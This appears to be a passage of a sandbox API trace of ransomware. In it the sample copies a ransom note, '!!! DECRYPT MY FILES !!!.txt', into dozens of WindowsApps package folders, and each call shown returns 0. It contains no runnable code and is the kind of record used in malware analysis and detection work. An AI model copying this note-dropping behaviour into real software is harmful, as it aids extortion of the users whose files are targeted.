[0241.778] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.781] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.783] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.787] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.789] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\js\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.793] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.795] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0242.978] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0242.980] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0242.984] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0242.988] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0242.998] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.007] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.010] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.012] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.016] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\JsonResources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\jsonresources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.027] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.028] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\themes\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.040] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\finance\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.042] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\foodanddrink\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0243.044] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\health\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.156] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\news\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.201] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\sports\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.202] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\weather\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.205] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.207] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.209] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.212] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.214] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.217] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.219] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.223] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.228] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.230] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.232] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.234] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0244.235] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\themes\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.308] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\finance\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.311] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\foodanddrink\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.313] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\health\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.314] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\news\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.316] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\sports\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.318] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\weather\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.321] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.322] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.324] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.328] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.329] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.332] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.334] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0246.339] CopyFileW 